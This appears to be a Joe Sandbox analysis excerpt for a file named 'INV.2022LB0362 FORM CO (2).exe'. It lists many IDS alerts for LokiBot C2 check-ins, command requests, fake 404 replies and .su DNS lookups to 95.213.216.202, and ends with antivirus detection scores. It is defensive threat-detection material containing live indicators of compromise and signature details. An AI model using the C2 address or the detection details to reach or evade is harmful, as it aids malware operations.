Timestamp:	192.168.2.395.213.216.20249708802021641 11/30/22-00:54:26.803652
SID:	2021641
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249724802024318 11/30/22-00:54:58.184483
SID:	2024318
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249759802021641 11/30/22-00:56:01.042444
SID:	2021641
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249751802025381 11/30/22-00:55:47.279515
SID:	2025381
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249724802024313 11/30/22-00:54:58.184483
SID:	2024313
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249710802025381 11/30/22-00:54:31.910937
SID:	2025381
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249715802825766 11/30/22-00:54:42.060768
SID:	2825766
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249747802024318 11/30/22-00:55:40.214633
SID:	2024318
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249747802024313 11/30/22-00:55:40.214633
SID:	2024313
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249719802024313 11/30/22-00:54:49.641508
SID:	2024313
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249743802825766 11/30/22-00:55:32.962709
SID:	2825766
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.857571532014169 11/30/22-00:54:51.528645
SID:	2014169
Source Port:	57571
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249719802024318 11/30/22-00:54:49.641508
SID:	2024318
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249742802024318 11/30/22-00:55:31.101064
SID:	2024318
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.859636532014169 11/30/22-00:54:37.879679
SID:	2014169
Source Port:	59636
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249720802825766 11/30/22-00:54:51.608521
SID:	2825766
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249742802024313 11/30/22-00:55:31.101064
SID:	2024313
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249718802021641 11/30/22-00:54:47.592007
SID:	2021641
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249733802025381 11/30/22-00:55:14.244291
SID:	2025381
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249736802021641 11/30/22-00:55:19.643476
SID:	2021641
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249746802021641 11/30/22-00:55:38.275174
SID:	2021641
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249734802024318 11/30/22-00:55:16.065951
SID:	2024318
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249723802025381 11/30/22-00:54:56.463103
SID:	2025381
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249748802825766 11/30/22-00:55:42.098367
SID:	2825766
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249737802024313 11/30/22-00:55:21.614296
SID:	2024313
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497562025483 11/30/22-00:55:58.723099
SID:	2025483
Source Port:	80
Destination Port:	49756
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249702802825766 11/30/22-00:54:14.871390
SID:	2825766
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249737802024318 11/30/22-00:55:21.614296
SID:	2024318
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249730802825766 11/30/22-00:55:08.823725
SID:	2825766
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249706802024313 11/30/22-00:54:22.484255
SID:	2024313
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249734802024313 11/30/22-00:55:16.065951
SID:	2024313
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497352025483 11/30/22-00:55:19.347023
SID:	2025483
Source Port:	80
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249706802024318 11/30/22-00:54:22.484255
SID:	2024318
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497522025483 11/30/22-00:55:50.930381
SID:	2025483
Source Port:	80
Destination Port:	49752
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497172025483 11/30/22-00:54:47.032787
SID:	2025483
Source Port:	80
Destination Port:	49717
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249733802825766 11/30/22-00:55:14.244291
SID:	2825766
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497392025483 11/30/22-00:55:26.908255
SID:	2025483
Source Port:	80
Destination Port:	49739
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249720802025381 11/30/22-00:54:51.608521
SID:	2025381
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249749802021641 11/30/22-00:55:43.976237
SID:	2021641
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.865320532014169 11/30/22-00:54:43.751689
SID:	2014169
Source Port:	65320
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249735802825766 11/30/22-00:55:17.863854
SID:	2825766
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.852079532014169 11/30/22-00:55:32.870195
SID:	2014169
Source Port:	52079
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497012025483 11/30/22-00:54:14.085146
SID:	2025483
Source Port:	80
Destination Port:	49701
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249731802025381 11/30/22-00:55:10.632751
SID:	2025381
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249709802024318 11/30/22-00:54:29.164231
SID:	2024318
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249745802024318 11/30/22-00:55:36.377571
SID:	2024318
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249709802024313 11/30/22-00:54:29.164231
SID:	2024313
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249705802825766 11/30/22-00:54:20.168790
SID:	2825766
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249745802024313 11/30/22-00:55:36.377571
SID:	2024313
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249704802024318 11/30/22-00:54:18.966132
SID:	2024318
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249704802024313 11/30/22-00:54:18.966132
SID:	2024313
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249717802024313 11/30/22-00:54:45.540558
SID:	2024313
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249722802825766 11/30/22-00:54:54.732179
SID:	2825766
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249703802025381 11/30/22-00:54:16.960834
SID:	2025381
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.849302532014169 11/30/22-00:54:20.078245
SID:	2014169
Source Port:	49302
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249711802024313 11/30/22-00:54:33.859062
SID:	2024313
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249728802825766 11/30/22-00:55:05.285201
SID:	2825766
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249705802021641 11/30/22-00:54:20.168790
SID:	2021641
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249711802024318 11/30/22-00:54:33.859062
SID:	2024318
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249738802021641 11/30/22-00:55:23.450513
SID:	2021641
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.865385532014169 11/30/22-00:55:49.289719
SID:	2014169
Source Port:	65385
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249740802825766 11/30/22-00:55:27.193434
SID:	2825766
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497452025483 11/30/22-00:55:37.973570
SID:	2025483
Source Port:	80
Destination Port:	49745
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497462025483 11/30/22-00:55:39.906968
SID:	2025483
Source Port:	80
Destination Port:	49746
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497402025483 11/30/22-00:55:28.902821
SID:	2025483
Source Port:	80
Destination Port:	49740
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249717802024318 11/30/22-00:54:45.540558
SID:	2024318
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249701802024313 11/30/22-00:54:12.581436
SID:	2024313
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249738802825766 11/30/22-00:55:23.450513
SID:	2825766
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497132025483 11/30/22-00:54:39.587400
SID:	2025483
Source Port:	80
Destination Port:	49713
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249701802024318 11/30/22-00:54:12.581436
SID:	2024318
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249756802825766 11/30/22-00:55:57.533680
SID:	2825766
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497022025483 11/30/22-00:54:16.469088
SID:	2025483
Source Port:	80
Destination Port:	49702
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249750802825766 11/30/22-00:55:45.758418
SID:	2825766
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249743802021641 11/30/22-00:55:32.962709
SID:	2021641
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249740802021641 11/30/22-00:55:27.193434
SID:	2021641
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249729802025381 11/30/22-00:55:07.068054
SID:	2025381
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249752802024313 11/30/22-00:55:49.378987
SID:	2024313
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249741802025381 11/30/22-00:55:29.247109
SID:	2025381
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249726802025381 11/30/22-00:55:01.673863
SID:	2025381
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249752802024318 11/30/22-00:55:49.378987
SID:	2024318
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.856042532014169 11/30/22-00:54:35.894646
SID:	2014169
Source Port:	56042
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853844532014169 11/30/22-00:55:03.396283
SID:	2014169
Source Port:	53844
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.862050532014169 11/30/22-00:54:33.763792
SID:	2014169
Source Port:	62050
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249728802021641 11/30/22-00:55:05.285201
SID:	2021641
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497512025483 11/30/22-00:55:49.068855
SID:	2025483
Source Port:	80
Destination Port:	49751
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249755802024318 11/30/22-00:55:55.653974
SID:	2024318
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497182025483 11/30/22-00:54:49.052316
SID:	2025483
Source Port:	80
Destination Port:	49718
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.852547532014169 11/30/22-00:55:01.596754
SID:	2014169
Source Port:	52547
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249755802024313 11/30/22-00:55:55.653974
SID:	2024313
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249727802024318 11/30/22-00:55:03.486766
SID:	2024318
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249713802025381 11/30/22-00:54:37.979213
SID:	2025381
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249756802021641 11/30/22-00:55:57.533680
SID:	2021641
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.865459532014169 11/30/22-00:55:47.178193
SID:	2014169
Source Port:	65459
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497072025483 11/30/22-00:54:26.372322
SID:	2025483
Source Port:	80
Destination Port:	49707
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249715802021641 11/30/22-00:54:42.060768
SID:	2021641
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249712802825766 11/30/22-00:54:35.972913
SID:	2825766
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249753802825766 11/30/22-00:55:51.242717
SID:	2825766
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.854153532014169 11/30/22-00:55:51.152832
SID:	2014169
Source Port:	54153
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249754802025381 11/30/22-00:55:53.496270
SID:	2025381
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249727802024313 11/30/22-00:55:03.486766
SID:	2024313
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: INV.2022LB0362 FORM CO (2).exe	ReversingLabs: Detection: 70%
Source: INV.2022LB0362 FORM CO (2).exe	Virustotal: Detection: 56%			Perma Link

Antivirus detection for URL or domain

